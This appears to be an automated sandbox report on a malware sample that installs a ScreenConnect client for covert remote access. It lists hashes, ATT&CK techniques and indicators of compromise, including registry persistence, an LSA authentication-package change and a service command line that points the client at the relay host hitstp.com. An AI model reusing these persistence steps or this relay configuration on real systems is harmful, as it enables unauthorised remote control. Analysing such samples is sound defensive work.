bca3eb65989c1330390cf0b67e97ae8a881e1a7fdca1f4843a8f50394c6eae5f

Analysis

max time kernel
150s
max time network
161s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 12:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-08_2102b305b4183bbbd895bab03ff32782_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe
Size 90.5MB
Sample260808-p17e2a1wcv
SHA256 bca3eb65989c1330390cf0b67e97ae8a881e1a7fdca1f4843a8f50394c6eae5f
MD5 2102b305b4183bbbd895bab03ff32782
SHA1 81ec5ad3234b7645e1dae9c6b9507515671ff1b6
SHA512 823a08655e5e6635bdd2c225ce39452f3890c41e5d84c0d57adda0993290600a87bfba377056bd7989577749b4e5df29e04e2caef8d3315ce2e4d52eafdbd650
SSDEEP 1572864:v1PEjj6npx56Bu61eGv1pjg6pFe8tm5rDZjyTfvUM9GaTBIAiJxLook47Cua+e/c:vpEjW56I61H5g668teZOTfsMQbHxPB7p
TLSH
T100282330F60ACD36CD9605B09D7DEB6E612D7A790B2490CBB2D82D2D19B14E32736E53
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery persistence privilege_escalation ransomware revoked_codesign

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Essentials\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (3bde66a4a659618b)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=hitstp.com&p=8041&s=246b6137-0c44-4f79-a32e-e994f6bca89c&k=BgIAAACkAABSU0ExAAgAAAEAAQB5pvd%2f0DKk64YAN%2b1fi1hQUZVQZI5oVgCR1OiCUWEAu38AQTb6ne29mBsdnBNrO%2bqHgwtHOkzc8Q9pIvUur65%2bE31wm3s92ZVYc8ldL2%2f9fRQCa8wgmfgcs3i2h3%2btTnnP9ZKoWWmxbpEmzgVwG9wzQCrhGLYFOA5WgnML8fM3x%2fzowFf2MUOegKyeXryhev%2fPjLoBn09uvZ%2bjTKeDhCekRTVTqXJEesGafJaCFYcbcLui0NJJbHV9w3Egkua6Cr4TtA%2fCMmxt1ziHZHSOiGUIWmMsoV2yhT%2f9ije%2fYrjaWrgOzvxsqbXhp9Il9bZotyo6M9pym4shuTVmfkF4gGXA&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA4O4IPxdU40uDpTN9IoU3xQAAAAACAAAAAAAQZgAAAAEAACAAAAByLVKXPerVg%2b80AT8bxL11%2fa%2bqr%2fpKDZQt5%2f%2fZ3jBv8gAAAAAOgAAAAAIAACAAAAA1nGxujxosOmAi%2bO1Bc26PPR2rptqacxDDQm4caB9wTKAEAAB2%2fvTxuiZPBIcfGN%2bRXrWs2iC6ZyOZenPoFpKWU3H0BZq8BYrrArnROkfz8Q5sBeGTA%2bjvc7G43LLyHffq0syAO26wWc0NDdARczTH7nb0ERjmTGVpScNhu3PX72sO8w3UlforTYP%2bD1nIxnre4nr9n2e4QEefOnwL0nKo%2bKxlSSZ1xA0ye5c573hmg8do2zcgnEfnHcFobYIQ0bS8azc0L8w8xyw4GtkjRF9Yzl8%2fSv0o8ViHTloQastBh4ljkWwBMKk8hRBBGxNfaKip%2bkn%2fAc5ePxiQFwAghMp4MWfV%2fZgdSfZ51SIH8iX1Q5tDz1ENDCPhFFIv6QXgdlFdd1BfvLSPLqjzI284KIz2uvy4aX1qICTv1TfbuoF%2fzUIvfRTn9cLC78FL2iWcNg%2fit5ezmlZ%2biALZq2qM981L4149pN%2f9icPSvIvZqC8EEArpm7KpaksgEwFCw1aKUtPbNx%2b6jkEca975s96jK81myAH9z7YSTUTK0PQ8S7I0R5JRyCJu4f%2fP8%2bgR%2bSzjY2eQHjPM49VC74q5XuDm3Xh3%2fTRsj7cXFQIY2KWEOImnEsXf%2b7kPeZuIDG4QDmMN5BAe9AtzZ0gm0lUfL%2bdhYnPS%2fYWvW5pwwLfDwz1Nabe2C95nMJO0VMD%2fH3XrHJLU59%2fCWUjacBQ8ouvMmBicgWcx0frohtico4jnRy%2btjEHXdupnoF2mIM74MWmSq08z2wA8cxArcp3W1iVDUaWgW2z%2fQ2VYC7dmb5khEDwDOZdJkv3aCMXJ%2bmgQW1xiAeNtD86L0caHKCiTB75ZQ32RFONZLNkF4M6pWfzj%2fxzw6q0HFWXssRPRwuUVPRwj896eTS75OPqJbg6B9fY1RJsliXERbioJofIUFgeNZ84xf%2bkDkCMf7xyN9RsZNjZzyZXVRAt3IWS0oxBQDfLSp0r%2f5XlnqMPhSsCxa7vuZ94iLA1DMV7nz58AaoywBiGP49W7auhuvvxQPqYMD9N7FaulzSY637HFPplzeOSYQPA6whQJn3Ex06yypbHO5veqrDp3ddvVEBT%2bqBikMjO43ogbdljWIMRBdQoEBA%2bd5zT%2bszJXyjM3O2p5LaoFqqnPQGZLgm7YyhKbpxiEcGpOny58IpJCxxlhE%2bXMSjqtg6EOe65VBG3oMh%2bb3IGDCoayItfta%2bjexGVgfeX63n5pedrlk64co%2fguO6vQWHtkEFw2ly8y92464IDcL81BYT%2baU%2fTyjanEhjgblG3DwIfyfKXTq3U0vi9Jq6%2b3nPI%2fUA8L58b3sHOx1%2fxEANoiG8105%2fGs%2f3GTBK2OZXZHNKpC8qYsIQRRN15Oq2NOh4nBeaaKWIWMaROAMm1hOYStyFXaHO%2fzNrNVIth7gfgtUzAP6sFsqQ%2bKMo17TmchIHSmphNw23makCcQkE5%2bwxMWh0tD7eBRfZqKcUqLI3e7eJkEAROYsNYuvOlqdY%2f%2bII%2b9L%2fNt47kITOLb%2bm%2bWBrLd6Wki4YUCvwGE1Z2lPjAO6HSwk9pkd%2f7qTwTeBVOhyRliTXJLFsBPchR6d0hlrMUlpYTNqCYwf6oeXO0FdJ%2bDm%2f2bLnxIF75%2fplPyCkAAAACrFlf81GCBogjQc5vAOQp84A1JiPaHecprr9%2bdYS6ZP3gKo8fAgeHYpJkGDGh%2fdLraEYU0RxoU03e3tsmwNcLD\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 2 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral2/memory/3848-187-0x00000000043A0000-0x0000000004475000-memory.dmp	revoked_cert_connectwise
behavioral2/files/0x000c00000001c59e-186.dat	revoked_cert_connectwise

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 5 IoCs

pid	Process
4304	vc_redist.x64.exe
5812	vc_redist.x64.exe
3848	ScreenConnect.ClientService.exe
5148	ScreenConnect.WindowsClient.exe
2900	VC_redist.x64.exe

Loads dropped DLL 23 IoCs

pid	Process
3944	MsiExec.exe
4396	rundll32.exe
4396	rundll32.exe
4396	rundll32.exe
4396	rundll32.exe
4396	rundll32.exe
4396	rundll32.exe
4396	rundll32.exe
4396	rundll32.exe
4396	rundll32.exe
3944	MsiExec.exe
2804	MsiExec.exe
3848	ScreenConnect.ClientService.exe
3848	ScreenConnect.ClientService.exe
3848	ScreenConnect.ClientService.exe
3848	ScreenConnect.ClientService.exe
3848	ScreenConnect.ClientService.exe
3848	ScreenConnect.ClientService.exe
3848	ScreenConnect.ClientService.exe
3848	ScreenConnect.ClientService.exe
3848	ScreenConnect.ClientService.exe
3848	ScreenConnect.ClientService.exe
5812	vc_redist.x64.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800330062006400650036003600610034006100360035003900360031003800620029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\jow2hpbi.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\0qb2iihv.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\ob2i45b1.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\user.config	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\0qb2iihv.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\2khzdjjp.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\jow2hpbi.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\0qb2iihv.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\ob2i45b1.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\naxfkgcn.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\naxfkgcn.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\azmp20dj.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\azmp20dj.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\jow2hpbi.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\naxfkgcn.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\azmp20dj.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\2khzdjjp.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\2khzdjjp.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.resources	msiexec.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI32FD.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\manifest.json	msedge.exe
File opened for modification	C:\Windows\Installer\MSI32FD.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_4692_569323276\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_108_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\lv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\~DFC9787395A2F99644.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\or\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\es_419\messages.json	msedge.exe
File opened for modification	C:\Windows\Installer\MSI32FD.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF0431F3A35734752B.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\mk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\kk\messages.json	msedge.exe
File opened for modification	C:\Windows\Installer\MSI32FD.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\lo\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Windows\Installer\SourceHash{E9D28C83-851D-9143-6B3D-4116F1E73061}	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\eu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\pl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\ta\messages.json	msedge.exe
File opened for modification	C:\Windows\Installer\MSI32FD.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\en_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\da\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\hy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\te\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\dasherSettingSchema.json	msedge.exe
File created	C:\Windows\Installer\wix{E9D28C83-851D-9143-6B3D-4116F1E73061}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\tr\messages.json	msedge.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4692_1766566142\_locales\en\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-08_2102b305b4183bbbd895bab03ff32782_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vc_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VC_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vc_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4172	msedge.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ad3b1fc6af0fc0350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801ad3b1fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101ad3b1fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3ad3b1fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6ad3b1fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 11 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134306670027554032"	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe

Modifies registry class 38 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-3bde66a4a659618b\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\ProductIcon = "C:\\Windows\\Installer\\{E9D28C83-851D-9143-6B3D-4116F1E73061}\\DefaultIcon"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\38C82D9ED1583419B6D314611F7E0316\Clients = 3a0000000000	msiexec.exe
